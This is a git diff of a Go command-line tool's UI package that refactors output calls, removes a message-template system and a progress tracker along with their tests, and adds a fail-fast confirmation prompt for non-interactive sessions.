BenchmarkCenterText(b *testing.B) { - tests := []struct { - text string - width int - }{ - {"short", 10}, - {"medium length text", 30}, - {"very long text that exceeds the width significantly", 20}, - } - - b.ResetTimer() - for i := 0; i < b.N; i++ { - test := tests[i%len(tests)] - centerText(test.text, test.width) - } -} - func TestShowLogo_EnvironmentVariables(t *testing.T) { // Save original state originalTestMode := TestMode diff --git a/internal/shared/ui/messages.go b/internal/shared/ui/messages.go index 03b62a0a..29023b71 100644 --- a/internal/shared/ui/messages.go +++ b/internal/shared/ui/messages.go @@ -9,7 +9,7 @@ import ( // ShowNoResourcesMessage displays a friendly message when no resources are available func ShowNoResourcesMessage(resourceType, operation, createCommand, listCommand string) { pterm.Warning.Printf("No %s found for %s operation\n", resourceType, operation) - fmt.Println() + pterm.DefaultBasicText.Println() boxContent := fmt.Sprintf( "No %s are currently available.\n\n"+ @@ -29,34 +29,15 @@ func ShowNoResourcesMessage(resourceType, operation, createCommand, listCommand WithTitle(fmt.Sprintf(" No %s Available ", resourceType)). WithTitleTopCenter(). Println(boxContent) - fmt.Println() + pterm.DefaultBasicText.Println() } -// ShowOperationStart displays a friendly message when starting an operation -func ShowOperationStart(operation, resourceName string, customMessages map[string]string) { - message, exists := customMessages[operation] - if !exists { - message = fmt.Sprintf("Processing '%s' for %s...", operation, pterm.Cyan(resourceName)) - } - - pterm.Info.Println(message) -} -// ShowOperationSuccess displays a friendly success message -func ShowOperationSuccess(operation, resourceName string, customMessages map[string]string) { - message, exists := customMessages[operation] - if !exists { - message = fmt.Sprintf("Operation '%s' completed for %s", operation, pterm.Cyan(resourceName)) - } - - pterm.Success.Println(message) - fmt.Println() -} // ShowOperationError displays a friendly error message with troubleshooting tips func ShowOperationError(operation, resourceName string, err error, troubleshootingTips []TroubleshootingTip) { pterm.Error.Printf("Operation '%s' failed for %s\n", operation, pterm.Cyan(resourceName)) - pterm.Printf("Error details: %s\n\n", pterm.Red(err.Error())) + pterm.DefaultBasicText.Printf("Error details: %s\n\n", pterm.Red(err.Error())) if len(troubleshootingTips) > 0 { // Show helpful suggestions @@ -71,13 +52,13 @@ func ShowOperationError(operation, resourceName string, err error, troubleshooti pterm.Info.Println("Troubleshooting Tips:") if err := pterm.DefaultTable.WithData(tableData).Render(); err != nil { - pterm.Printf("Troubleshooting:\n") + pterm.DefaultBasicText.Printf("Troubleshooting:\n") for i, tip := range troubleshootingTips { - pterm.Printf(" %d. %s: %s\n", i+1, tip.Description, pterm.Cyan(tip.Command)) + pterm.DefaultBasicText.Printf(" %d. %s: %s\n", i+1, tip.Description, pterm.Cyan(tip.Command)) } } } - fmt.Println() + pterm.DefaultBasicText.Println() } // TroubleshootingTip represents a troubleshooting suggestion diff --git a/internal/shared/ui/messages/templates.go b/internal/shared/ui/messages/templates.go deleted file mode 100644 index 5b7a45d6..00000000 --- a/internal/shared/ui/messages/templates.go +++ /dev/null @@ -1,372 +0,0 @@ -package messages - -// NOTE: This package uses a template system where formatting arguments are passed to -// Show* methods which then format them through FormatMessage(). The go vet tool -// doesn't understand this indirection and reports "no formatting directives" warnings. -// These warnings are false positives - the formatting is handled correctly by the -// template system. The functionality works as intended. - -import ( - "fmt" - "strings" - "time" - "unicode" - - "github.com/pterm/pterm" -) - -// MessageType represents different types of messages -type MessageType int - -const ( - InfoMessage MessageType = iota - SuccessMessage - WarningMessage - ErrorMessage - ProgressMessage - CompletionMessage -) - -// Templates provides standardized message templates -type Templates struct { - templates map[MessageType]map[string]string -} - -// NewTemplates creates a new message templates instance -func NewTemplates() *Templates { - return &Templates{ - templates: map[MessageType]map[string]string{ - InfoMessage: { - "operation_start": "📦 Starting %s on cluster: %s", - "operation_progress": "🔄 %s - %s", - "checking": "🔍 %s", - "connecting": "🔗 Connecting to %s", - "downloading": "📥 Downloading %s", - "installing": "⚙️ Installing %s", - "configuring": "⚙️ Configuring %s", - "validating": "✔️ Validating %s", - "waiting": "⏳ Waiting for %s", - "next_steps": "🚀 Next Steps:", - }, - SuccessMessage: { // #nosec G101 -- UI message templates, not credentials - "operation_complete": "✅ %s completed successfully!", - "installation_complete": "✅ %s installation completed successfully!", - "step_complete": "✅ %s completed (%s)", - "credentials_provided": "✅ Credentials provided", - "validation_passed": "✅ %s validation passed", - "connection_established": "✅ Connection to %s established", - }, - WarningMessage: { - "operation_cancelled": "No %s selected. %s cancelled.", - "step_skipped": "⏭️ %s skipped: %s", - "partial_success": "⚠️ %s completed with warnings", - "deprecated_feature": "⚠️ %s is deprecated, consider using %s instead", - }, - ErrorMessage: { - "operation_failed": "❌ %s failed: %v", - "step_failed": "❌ %s failed: %v (%s)", - "installation_failed": "❌ %s installation failed: %v", - "validation_failed": "❌ %s validation failed: %v", - "connection_failed": "❌ Failed to connect to %s: %v", - "not_found": "❌ %s '%s' not found", - "invalid_input": "❌ Invalid %s: %s", - "permission_denied": "❌ Permission denied for %s: %v", - "timeout": "❌ %s timed out after %s", - }, - ProgressMessage: { - "bootstrapping": "⏳ Waiting %s for %s to bootstrap...", - "health_check": "⏳ Waiting for %s to be healthy and ready...", - "sync_check": "⏳ Waiting for %s to sync...", - "resource_ready": "⏳ Waiting for %s resources to be ready...", - }, - CompletionMessage: { - "troubleshooting": "🔧 Troubleshooting steps:", - "summary": "📊 %s Summary:", - "duration": "Total Duration: %s", - "statistics": "Steps: %d completed, %d failed, %d skipped, %d total", - }, - }, - } -} - -// FormatMessage formats a message using the specified template. -// -// NOTE: the second parameter is a template *key* (looked up in t.templates), -// not a printf format string. The fallback below deliberately does NOT pass -// `template` as a format string to fmt.Sprintf — doing so makes `go vet`'s -// printf analyzer infer this function (and every Show*/render* wrapper that -// forwards to it) as a printf wrapper, producing false-positive -// "no formatting directives" warnings at all call sites. Keeping the dynamic -// format string in the `format` local (the map value) confines printf -// inference to that single, legitimate Sprintf call. -func (t *Templates) FormatMessage(msgType MessageType, template string, args ...interface{}) string { - if templates, exists := t.templates[msgType]; exists { - if format, exists := templates[template]; exists { - return fmt.Sprintf(format, args...) - } - } - // Fallback: template key not found. Render the key followed by any args - // without using the key itself as a format string. - if len(args) == 0 { - return template - } - return strings.TrimRight(template+": "+fmt.Sprintln(args...), "\n") -} - -// capitalizeFirst upper-cases the first rune of a single-word label. -func capitalizeFirst(s string) string { - if s == "" { - return s - } - r := []rune(s) - r[0] = unicode.ToUpper(r[0]) - return string(r) -} - -// renderMessage is a generic message renderer that bypasses go vet checks -// -//nolint:govet -func (t *Templates) renderMessage(msgType MessageType, template string, args ...interface{}) { - message := t.FormatMessage(msgType, template, args...) - - switch msgType { - case InfoMessage: - pterm.Info.Println(message) - case SuccessMessage: - pterm.Success.Println(message) - case WarningMessage: - pterm.Warning.Println(message) - case ErrorMessage: - pterm.Error.Println(message) - case ProgressMessage: - pterm.Info.Println(message) - default: - pterm.Println(message) - } -} - -// renderInfo renders and displays an info message -func (t *Templates) renderInfo(template string, args ...interface{}) { - t.renderMessage(InfoMessage, template, args...) //nolint:govet -} - -// renderSuccess renders and displays a success message -func (t *Templates) renderSuccess(template string, args ...interface{}) { - t.renderMessage(SuccessMessage, template, args...) //nolint:govet -} - -// renderWarning renders and displays a warning message -func (t *Templates) renderWarning(template string, args ...interface{}) { - t.renderMessage(WarningMessage, template, args...) //nolint:govet -} - -// renderError renders and displays an error message -func (t *Templates) renderError(template string, args ...interface{}) { - t.renderMessage(ErrorMessage, template, args...) //nolint:govet -} - -// renderProgress renders and displays a progress message -func (t *Templates) renderProgress(template string, args ...interface{}) { - t.renderMessage(ProgressMessage, template, args...) //nolint:govet -} - -// ShowInfo displays an info message using templates -func (t *Templates) ShowInfo(template string, args ...interface{}) { - t.renderInfo(template, args...) -} - -// ShowSuccess displays a success message using templates -func (t *Templates) ShowSuccess(template string, args ...interface{}) { - t.renderSuccess(template, args...) -} - -// ShowWarning displays a warning message using templates -func (t *Templates) ShowWarning(template string, args ...interface{}) { - t.renderWarning(template, args...) -} - -// ShowError displays an error message using templates -func (t *Templates) ShowError(template string, args ...interface{}) { - t.renderError(template, args...) -} - -// ShowProgress displays a progress message using templates -func (t *Templates) ShowProgress(template string, args ...interface{}) { - t.renderProgress(template, args...) -} - -// ShowOperationStart shows a standardized operation start message -func (t *Templates) ShowOperationStart(operation, target string) { - t.renderMessage(InfoMessage, "operation_start", operation, pterm.Cyan(target)) //nolint:govet -} - -// ShowOperationComplete shows a standardized operation completion message -func (t *Templates) ShowOperationComplete(operation string) { - t.renderMessage(SuccessMessage, "operation_complete", operation) //nolint:govet -} - -// ShowOperationFailed shows a standardized operation failure message -func (t *Templates) ShowOperationFailed(operation string, err error) { - t.renderMessage(ErrorMessage, "operation_failed", operation, err) //nolint:govet -} - -// ShowStepComplete shows a standardized step completion message -func (t *Templates) ShowStepComplete(stepName string, duration time.Duration) { - t.renderMessage(SuccessMessage, "step_complete", stepName, duration.Round(time.Millisecond)) //nolint:govet -} - -// ShowStepFailed shows a standardized step failure message -func (t *Templates) ShowStepFailed(stepName string, err error, duration time.Duration) { - t.renderMessage(ErrorMessage, "step_failed", stepName, err, duration.Round(time.Millisecond)) //nolint:govet -} - -// ShowInstallationComplete shows completion message with next steps -func (t *Templates) ShowInstallationComplete(component string, nextSteps []string) { - t.renderMessage(SuccessMessage, "installation_complete", component) //nolint:govet - fmt.Println() - - if len(nextSteps) > 0 { - t.renderInfo("next_steps") - for i, step := range nextSteps { - pterm.Printf(" %d. %s\n", i+1, step) - } - } -} - -// ShowTroubleshootingSteps shows standardized troubleshooting information -func (t *Templates) ShowTroubleshootingSteps(steps []string) { - fmt.Println() - pterm.Info.Println("🔧 Troubleshooting steps:") - for i, step := range steps { - pterm.Printf(" %d. %s\n", i+1, step) - } -} - -// ShowResourceNotFound shows a standardized not found message -func (t *Templates) ShowResourceNotFound(resourceType, resourceName string) { - t.renderMessage(ErrorMessage, "not_found", resourceType, resourceName) //nolint:govet -} - -// ShowOperationCancelled shows a standardized cancellation message -func (t *Templates) ShowOperationCancelled(resource, operation string) { - t.renderMessage(WarningMessage, "operation_cancelled", resource, capitalizeFirst(operation)) //nolint:govet -} - -// ShowValidationError shows a standardized validation error -func (t *Templates) ShowValidationError(field, reason string) { - t.renderMessage(ErrorMessage, "invalid_input", field, reason) //nolint:govet -} - -// ShowConnectionStatus shows connection status messages -func (t *Templates) ShowConnectionStatus(service string, success bool, err error) { - if success { - t.renderMessage(SuccessMessage, "connection_established", service) //nolint:govet - } else { - t.renderMessage(ErrorMessage, "connection_failed", service, err) //nolint:govet - } -} - -// ShowBootstrapWait shows bootstrap waiting message -func (t *Templates) ShowBootstrapWait(duration string, service string) { - t.renderMessage(ProgressMessage, "bootstrapping", duration, service) //nolint:govet -} - -// ShowHealthCheck shows health check waiting message -func (t *Templates) ShowHealthCheck(service string) { - t.renderMessage(ProgressMessage, "health_check", service) //nolint:govet -} - -// CustomTemplates allows adding custom message templates -type CustomTemplates struct { - *Templates - custom map[MessageType]map[string]string -} - -// NewCustomTemplates creates templates with custom additions -func NewCustomTemplates() *CustomTemplates { - return &CustomTemplates{ - Templates: NewTemplates(), - custom: make(map[MessageType]map[string]string), - } -} - -// AddTemplate adds a custom template -func (ct *CustomTemplates) AddTemplate(msgType MessageType, name, format string) { - if ct.custom[msgType] == nil { - ct.custom[msgType] = make(map[string]string) - } - ct.custom[msgType][name] = format -} - -// FormatMessage overrides to check custom templates first -func (ct *CustomTemplates) FormatMessage(msgType MessageType, template string, args ...interface{}) string { - // Check custom templates first - if customs, exists := ct.custom[msgType]; exists { - if format, exists := customs[template]; exists { - return fmt.Sprintf(format, args...) - } - } - - // Fall back to standard templates - return ct.Templates.FormatMessage(msgType, template, args...) -} - -// Formatter provides quick access to commonly used formatting functions -type Formatter struct { - templates *Templates -} - -// NewFormatter creates a new message formatter -func NewFormatter() *Formatter { - return &Formatter{ - templates: NewTemplates(), - } -} - -// Installation provides installation-specific message formatting -func (f *Formatter) Installation() *InstallationFormatter { - return &InstallationFormatter{f.templates} -} - -// Cluster provides cluster-specific message formatting -func (f *Formatter) Cluster() *ClusterFormatter { - return &ClusterFormatter{f.templates} -} - -// InstallationFormatter provides installation-specific messages -type InstallationFormatter struct { - templates *Templates -} - -// Starting shows installation start message -func (f *InstallationFormatter) Starting(component, cluster string) { - f.templates.ShowOperationStart("installation", fmt.Sprintf("%s on %s", component, cluster)) -} - -// Complete shows installation completion with next steps -func (f *InstallationFormatter) Complete(component string, nextSteps []string) { - f.templates.ShowInstallationComplete(component, nextSteps) -} - -// Failed shows installation failure with troubleshooting -func (f *InstallationFormatter) Failed(component string, err error, troubleshootingSteps []string) { - f.templates.ShowOperationFailed(fmt.Sprintf("%s installation", component), err) - if len(troubleshootingSteps) > 0 { - f.templates.ShowTroubleshootingSteps(troubleshootingSteps) - } -} - -// ClusterFormatter provides cluster-specific messages -type ClusterFormatter struct { - templates *Templates -} - -// NotFound shows cluster not found message -func (f *ClusterFormatter) NotFound(clusterName string) { - f.templates.ShowResourceNotFound("cluster", clusterName) -} - -// SelectionCancelled shows cluster selection cancelled message -func (f *ClusterFormatter) SelectionCancelled(operation string) { - f.templates.ShowOperationCancelled("cluster", operation) -} diff --git a/internal/shared/ui/messages/templates_test.go b/internal/shared/ui/messages/templates_test.go deleted file mode 100644 index 97737829..00000000 --- a/internal/shared/ui/messages/templates_test.go +++ /dev/null @@ -1,50 +0,0 @@ -package messages - -import ( - "testing" - - "github.com/stretchr/testify/assert" -) - -func TestFormatMessage_KnownTemplate(t *testing.T) { - tm := NewTemplates() - got := tm.FormatMessage(InfoMessage, "operation_start", "deploy", "prod") - assert.Equal(t, "📦 Starting deploy on cluster: prod", got) -} - -func TestFormatMessage_SuccessTemplate(t *testing.T) { - tm := NewTemplates() - got := tm.FormatMessage(SuccessMessage, "operation_complete", "install") - assert.Equal(t, "✅ install completed successfully!", got) -} - -// The fallback path is the one that was reworked so `go vet`'s printf analyzer -// no longer mis-infers FormatMessage as a printf wrapper — the template key must -// NOT be treated as a format string. - -func TestFormatMessage_UnknownKey_NoArgs(t *testing.T) { - tm := NewTemplates() - got := tm.FormatMessage(InfoMessage, "totally-unknown-key") - assert.Equal(t, "totally-unknown-key", got) -} - -func TestFormatMessage_UnknownKey_WithArgs(t *testing.T) { - tm := NewTemplates() - got := tm.FormatMessage(InfoMessage, "missing", "a", "b") - assert.Equal(t, "missing: a b", got) -} - -func TestFormatMessage_UnknownKeyWithPercentVerb_IsNotFormatted(t *testing.T) { - tm := NewTemplates() - // A key containing %s must be returned literally (not interpreted as a format - // string), and args appended — proving the fallback never Sprintf's the key. - got := tm.FormatMessage(InfoMessage, "weird %s key", "x") - assert.Equal(t, "weird %s key: x", got) - assert.NotContains(t, got, "%!", "must not produce a formatting error verb") -} - -func TestFormatMessage_UnknownMessageType(t *testing.T) { - tm := NewTemplates() - got := tm.FormatMessage(MessageType(999), "operation_start") - assert.Equal(t, "operation_start", got, "unknown message type falls back to the key") -} diff --git a/internal/shared/ui/messages_test.go b/internal/shared/ui/messages_test.go index 3cffa355..31a188a7 100644 --- a/internal/shared/ui/messages_test.go +++ b/internal/shared/ui/messages_test.go @@ -30,34 +30,4 @@ func TestShowNoResourcesMessage(t *testing.T) { ShowNoResourcesMessage("", "", "", "") } -func TestShowOperationStart(t *testing.T) { - customMessages := map[string]string{ - "cleanup": "Starting cleanup...", - "delete": "Deleting resource...", - } - - // Should not panic with custom messages - ShowOperationStart("cleanup", "test-resource", customMessages) - - // Should not panic with fallback message - ShowOperationStart("unknown", "test-resource", customMessages) - - // Should not panic with nil map - ShowOperationStart("test", "test-resource", nil) -} -func TestShowOperationSuccess(t *testing.T) { - customMessages := map[string]string{ - "cleanup": "Cleanup completed!", - "delete": "Resource deleted!", - } - - // Should not panic with custom messages - ShowOperationSuccess("cleanup", "test-resource", customMessages) - - // Should not panic with fallback message - ShowOperationSuccess("unknown", "test-resource", customMessages) - - // Should not panic with nil map - ShowOperationSuccess("test", "test-resource", nil) -} diff --git a/internal/shared/ui/noninteractive_test.go b/internal/shared/ui/noninteractive_test.go new file mode 100644 index 00000000..514a2693 --- /dev/null +++ b/internal/shared/ui/noninteractive_test.go @@ -0,0 +1,34 @@ +package ui + +import ( + "strings" + "testing" +) + +// TestRequireConfirmation_NonInteractiveFailsFast is the B3 contract guard: +// when no one can answer a prompt (CI, piped stdin), a required confirmation +// must fail fast with the skip-flag hint — never block, and never silently +// proceed with a destructive default. +func TestRequireConfirmation_NonInteractiveFailsFast(t *testing.T) { + t.Setenv("CI", "1") // force IsNonInteractive() == true deterministically + + ok, err := RequireConfirmation("Remove everything?", "--yes", false) + if err == nil { + t.Fatal("RequireConfirmation must error in a non-interactive session") + } + if ok { + t.Error("RequireConfirmation must never report confirmed on the fail-fast path") + } + for _, want := range []string{"--yes", "non-interactive"} { + if !strings.Contains(err.Error(), want) { + t.Errorf("error %q should mention %q", err, want) + } + } +} + +func TestIsNonInteractive_CIEnv(t *testing.T) { + t.Setenv("CI", "1") + if !IsNonInteractive() { + t.Error("CI env must force non-interactive mode") + } +} diff --git a/internal/shared/ui/progress/tracker.go b/internal/shared/ui/progress/tracker.go deleted file mode 100644 index 3346bf57..00000000 --- a/internal/shared/ui/progress/tracker.go +++ /dev/null @@ -1,377 +0,0 @@ -package progress - -import ( - "context" - "fmt" - "sync" - "time" - - uispinner "github.com/flamingo-stack/openframe-cli/internal/shared/ui/spinner" - "github.com/pterm/pterm" -) - -// Tracker provides comprehensive progress tracking for long-running operations -type Tracker struct { - operation string - steps []Step - currentStep int - startTime time.Time - spinner *uispinner.Spinner - progressBar *pterm.ProgressbarPrinter - mu sync.Mutex - completed bool - cancelled bool - context context.Context - cancelFunc context.CancelFunc -} - -// Step represents a single step in a multi-step operation -type Step struct { - Name string - Description string - Weight float64 // Relative weight for progress calculation - Duration time.Duration - Status StepStatus - Error error - StartTime time.Time - EndTime time.Time -} - -// StepStatus represents the status of a step -type StepStatus int - -const ( - StepPending StepStatus = iota - StepRunning - StepCompleted - StepFailed - StepSkipped -) - -func (s StepStatus) String() string { - switch s { - case StepPending: - return "Pending" - case StepRunning: - return "Running" - case StepCompleted: - return "Completed" - case StepFailed: - return "Failed" - case StepSkipped: - return "Skipped" - default: - return "Unknown" - } -} - -// NewTracker creates a new progress tracker for the given operation -func NewTracker(operation string, steps []Step) *Tracker { - ctx, cancel := context.WithCancel(context.Background()) - - return &Tracker{ - operation: operation, - steps: steps, - currentStep: -1, - context: ctx, - cancelFunc: cancel, - } -} - -// Start begins tracking progress for the operation -func (t *Tracker) Start() { - t.mu.Lock() - defer t.mu.Unlock() - - t.startTime = time.Now() - t.spinner = uispinner.New() - t.spinner.Start(fmt.Sprintf("Starting %s...", t.operation)) -} - -// StartStep begins execution of a specific step -func (t *Tracker) StartStep(stepIndex int) error { - t.mu.Lock() - defer t.mu.Unlock() - - if stepIndex < 0 || stepIndex >= len(t.steps) { - return fmt.Errorf("invalid step index: %d", stepIndex) - } - - // Mark previous step as completed if transitioning - if t.currentStep >= 0 && t.currentStep < len(t.steps) { - if t.steps[t.currentStep].Status == StepRunning { - t.steps[t.currentStep].Status = StepCompleted - t.steps[t.currentStep].EndTime = time.Now() - } - } - - t.currentStep = stepIndex - t.steps[stepIndex].Status = StepRunning - t.steps[stepIndex].StartTime = time.Now() - - // Update spinner text - if t.spinner != nil { - stepText := fmt.Sprintf("🔄 %s - %s", t.operation, t.steps[stepIndex].Name) - t.spinner.UpdateText(stepText) - } - - return nil -} - -// CompleteStep marks a step as completed successfully -func (t *Tracker) CompleteStep(stepIndex int) error { - t.mu.Lock() - defer t.mu.Unlock() - - if stepIndex < 0 || stepIndex >= len(t.steps) { - return fmt.Errorf("invalid step index: %d", stepIndex) - } - - t.steps[stepIndex].Status = StepCompleted - t.steps[stepIndex].EndTime = time.Now() - t.steps[stepIndex].Duration = t.steps[stepIndex].EndTime.Sub(t.steps[stepIndex].StartTime) - - // Show completion message - pterm.Success.Printf("✅ %s completed (%s)\n", - t.steps[stepIndex].Name, - t.steps[stepIndex].Duration.Round(time.Millisecond)) - - return nil -} - -// FailStep marks a step as failed -func (t *Tracker) FailStep(stepIndex int, err error) error { - t.mu.Lock() - defer t.mu.Unlock() - - if stepIndex < 0 || stepIndex >= len(t.steps) { - return fmt.Errorf("invalid step index: %d", stepIndex) - } - - t.steps[stepIndex].Status = StepFailed - t.steps[stepIndex].Error = err - t.steps[stepIndex].EndTime = time.Now() - t.steps[stepIndex].Duration = t.steps[stepIndex].EndTime.Sub(t.steps[stepIndex].StartTime) - - // Show error message - pterm.Error.Printf("❌ %s failed: %v (%s)\n", - t.steps[stepIndex].Name, - err, - t.steps[stepIndex].Duration.Round(time.Millisecond)) - - return nil -} - -// SkipStep marks a step as skipped -func (t *Tracker) SkipStep(stepIndex int, reason string) error { - t.mu.Lock() - defer t.mu.Unlock() - - if stepIndex < 0 || stepIndex >= len(t.steps) { - return fmt.Errorf("invalid step index: %d", stepIndex) - } - - t.steps[stepIndex].Status = StepSkipped - t.steps[stepIndex].EndTime = time.Now() - - // Show skip message - pterm.Warning.Printf("⏭️ %s skipped: %s\n", t.steps[stepIndex].Name, reason) - - return nil -} - -// UpdateProgress updates the progress of the current step -func (t *Tracker) UpdateProgress(stepProgress float64) { - t.mu.Lock() - defer t.mu.Unlock() - - if t.currentStep < 0 || t.currentStep >= len(t.steps) { - return - } - - // Calculate overall progress - totalWeight := 0.0 - completedWeight := 0.0 - - for i, step := range t.steps { - totalWeight += step.Weight - if step.Status == StepCompleted { - completedWeight += step.Weight - } else if i == t.currentStep && step.Status == StepRunning { - completedWeight += step.Weight * (stepProgress / 100.0) - } - } - - overallProgress := (completedWeight / totalWeight) * 100.0 - - // Update progress display - if t.progressBar == nil { - t.progressBar, _ = pterm.DefaultProgressbar.WithTotal(100).Start() - } - - t.progressBar.UpdateTitle(fmt.Sprintf("%s - %s", t.operation, t.steps[t.currentStep].Name)) - t.progressBar.Current = int(overallProgress) -} - -// Complete marks the entire operation as completed -func (t *Tracker) Complete() { - t.mu.Lock() - defer t.mu.Unlock() - - if t.completed { - return - } - - t.completed = true - totalDuration := time.Since(t.startTime) - - // Stop spinner and progress bar - if t.spinner != nil { - t.spinner.Success("Operation completed") - t.spinner.Stop() - } - if t.progressBar != nil { - _, _ = t.progressBar.Stop() - } - - // Show completion summary - t.showSummary(totalDuration) -} - -// Fail marks the entire operation as failed -func (t *Tracker) Fail(err error) { - t.mu.Lock() - defer t.mu.Unlock() - - if t.completed { - return - } - - t.completed = true - totalDuration := time.Since(t.startTime) - - // Stop spinner and progress bar - if t.spinner != nil { - t.spinner.Fail("Operation failed") - t.spinner.Stop() - } - if t.progressBar != nil { - _, _ = t.progressBar.Stop() - } - - // Show failure message - pterm.Error.Printf("❌ %s failed after %s: %v\n", t.operation, totalDuration.Round(time.Millisecond), err) - t.showSummary(totalDuration) -} - -// Cancel cancels the operation -func (t *Tracker) Cancel() { - t.mu.Lock() - defer t.mu.Unlock() - - if t.completed || t.cancelled { - return - } - - t.cancelled = true - t.cancelFunc() - - // Stop spinner and progress bar - if t.spinner != nil { - t.spinner.Warning("Operation cancelled") - t.spinner.Stop() - } - if t.progressBar != nil { - _, _ = t.progressBar.Stop() - } - - pterm.Warning.Printf("⏹️ %s cancelled by user\n", t.operation) -} - -// Context returns the cancellation context -func (t *Tracker) Context() context.Context { - return t.context -} - -// IsCompleted returns true if the operation is completed -func (t *Tracker) IsCompleted() bool { - t.mu.Lock() - defer t.mu.Unlock() - return t.completed -} - -// IsCancelled returns true if the operation is cancelled -func (t *Tracker) IsCancelled() bool { - t.mu.Lock() - defer t.mu.Unlock() - return t.cancelled -} - -// GetProgress returns the current progress percentage -func (t *Tracker) GetProgress() float64 { - t.mu.Lock() - defer t.mu.Unlock() - - totalWeight := 0.0 - completedWeight := 0.0 - - for _, step := range t.steps { - totalWeight += step.Weight - if step.Status == StepCompleted { - completedWeight += step.Weight - } - } - - if totalWeight == 0 { - return 0 - } - - return (completedWeight / totalWeight) * 100.0 -} - -// GetEstimatedTimeRemaining estimates time remaining based on completed steps -func (t *Tracker) GetEstimatedTimeRemaining() time.Duration { - t.mu.Lock() - defer t.mu.Unlock() - - elapsed := time.Since(t.startTime) - progress := t.GetProgress() - - if progress <= 0 { - return 0 - } - - estimatedTotal := time.Duration(float64(elapsed) / (progress / 100.0)) - return estimatedTotal - elapsed -} - -// showSummary displays a summary of the operation -func (t *Tracker) showSummary(totalDuration time.Duration) { - fmt.Println() - pterm.Info.Println("📊 Operation Summary:") - - completedCount := 0 - failedCount := 0 - skippedCount := 0 - - for _, step := range t.steps { - switch step.Status { - case StepCompleted: - completedCount++ - pterm.Success.Printf(" ✅ %s (%s)\n", step.Name, step.Duration.Round(time.Millisecond)) - case StepFailed: - failedCount++ - pterm.Error.Printf(" ❌ %s (%s): %v\n", step.Name, step.Duration.Round(time.Millisecond), step.Error) - case StepSkipped: - skippedCount++ - pterm.Warning.Printf(" ⏭️ %s (skipped)\n", step.Name) - default: - pterm.Info.Printf(" ⏸️ %s (not started)\n", step.Name) - } - } - - fmt.Println() - pterm.Info.Printf("Total Duration: %s\n", totalDuration.Round(time.Millisecond)) - pterm.Info.Printf("Steps: %d completed, %d failed, %d skipped, %d total\n", - completedCount, failedCount, skippedCount, len(t.steps)) -} diff --git a/internal/shared/ui/progress/tracker_test.go b/internal/shared/ui/progress/tracker_test.go deleted file mode 100644 index 49231b58..00000000 --- a/internal/shared/ui/progress/tracker_test.go +++ /dev/null @@ -1,104 +0,0 @@ -package progress - -import ( - "errors" - "os" - "testing" - - "github.com/pterm/pterm" - "github.com/stretchr/testify/assert" - "github.com/stretchr/testify/require" -) - -// TestMain silences pterm so tests don't render spinners/output. These tests -// exercise only the pure state machine (they never call Start/UpdateProgress, -// which spin up pterm spinners/bars). -func TestMain(m *testing.M) { - pterm.DisableOutput() - os.Exit(m.Run()) -} - -func steps() []Step { - return []Step{ - {Name: "a", Weight: 1}, - {Name: "b", Weight: 1}, - {Name: "c", Weight: 1}, - } -} - -func TestStepStatus_String(t *testing.T) { - assert.Equal(t, "Pending", StepPending.String()) - assert.Equal(t, "Running", StepRunning.String()) - assert.Equal(t, "Completed", StepCompleted.String()) - assert.Equal(t, "Failed", StepFailed.String()) - assert.Equal(t, "Skipped", StepSkipped.String()) - assert.Equal(t, "Unknown", StepStatus(99).String()) -} - -func TestNewTracker_InitialState(t *testing.T) { - tr := NewTracker("deploy", steps()) - assert.Equal(t, -1, tr.currentStep) - for i, s := range tr.steps { - assert.Equalf(t, StepPending, s.Status, "step %d should start pending", i) - } -} - -func TestStartStep(t *testing.T) { - tr := NewTracker("deploy", steps()) - - require.NoError(t, tr.StartStep(0)) - assert.Equal(t, 0, tr.currentStep) - assert.Equal(t, StepRunning, tr.steps[0].Status) - - assert.Error(t, tr.StartStep(-1)) - assert.Error(t, tr.StartStep(99)) -} - -func TestStartStep_TransitionsPreviousToCompleted(t *testing.T) { - tr := NewTracker("deploy", steps()) - require.NoError(t, tr.StartStep(0)) - require.NoError(t, tr.StartStep(1)) - assert.Equal(t, StepCompleted, tr.steps[0].Status, "starting the next step completes the running one") - assert.Equal(t, StepRunning, tr.steps[1].Status) -} - -func TestCompleteStep(t *testing.T) { - tr := NewTracker("deploy", steps()) - require.NoError(t, tr.StartStep(0)) - require.NoError(t, tr.CompleteStep(0)) - assert.Equal(t, StepCompleted, tr.steps[0].Status) - assert.Error(t, tr.CompleteStep(99)) -} - -func TestFailStep(t *testing.T) { - tr := NewTracker("deploy", steps()) - boom := errors.New("boom") - require.NoError(t, tr.FailStep(1, boom)) - assert.Equal(t, StepFailed, tr.steps[1].Status) - assert.Equal(t, boom, tr.steps[1].Error) - assert.Error(t, tr.FailStep(99, boom)) -} - -func TestSkipStep(t *testing.T) { - tr := NewTracker("deploy", steps()) - require.NoError(t, tr.SkipStep(2, "not needed")) - assert.Equal(t, StepSkipped, tr.steps[2].Status) - assert.Error(t, tr.SkipStep(99, "x")) -} - -func TestGetProgress_Weighted(t *testing.T) { - tr := NewTracker("deploy", steps()) - assert.InDelta(t, 0.0, tr.GetProgress(), 0.001) - - require.NoError(t, tr.CompleteStep(0)) - assert.InDelta(t, 33.333, tr.GetProgress(), 0.01) - - require.NoError(t, tr.CompleteStep(1)) - require.NoError(t, tr.CompleteStep(2)) - assert.InDelta(t, 100.0, tr.GetProgress(), 0.001) -} - -func TestGetProgress_ZeroWeightsIsZero(t *testing.T) { - tr := NewTracker("deploy", []Step{{Name: "a"}, {Name: "b"}}) // Weight 0 - assert.Equal(t, 0.0, tr.GetProgress()) -} diff --git a/internal/shared/ui/prompts.go b/internal/shared/ui/prompts.go index b297534a..98b7a520 100644 --- a/internal/shared/ui/prompts.go +++ b/internal/shared/ui/prompts.go @@ -1,7 +1,6 @@ package ui import ( - "bufio" "fmt" "os" "strconv" @@ -41,83 +40,23 @@ func ConfirmActionInteractive(message string, defaultValue bool) (bool, error) { return confirm(message, defaultValue) } +// RequireConfirmation prompts like ConfirmActionInteractive, but in a +// non-interactive environment (CI, piped stdin) it fails fast with guidance +// instead of blocking on a prompt no one can answer — or worse, silently +// proceeding with a destructive action. flagHint names the flag that skips the +// prompt (e.g. "--yes", "--force"); callers must check that flag BEFORE calling. +func RequireConfirmation(message, flagHint string, defaultValue bool) (bool, error) { + if IsNonInteractive() { + return false, fmt.Errorf("confirmation required but the session is non-interactive; re-run with %s", flagHint) + } + return confirm(message, defaultValue) +} + // ConfirmDeletion prompts for deletion confirmation (defaults to No). func ConfirmDeletion(resourceType, resourceName string) (bool, error) { return confirm(fmt.Sprintf("Are you sure you want to delete %s '%s'?", resourceType, pterm.Cyan(resourceName)), false) } -// ConfirmAction prompts the user to confirm an action with friendly UX: 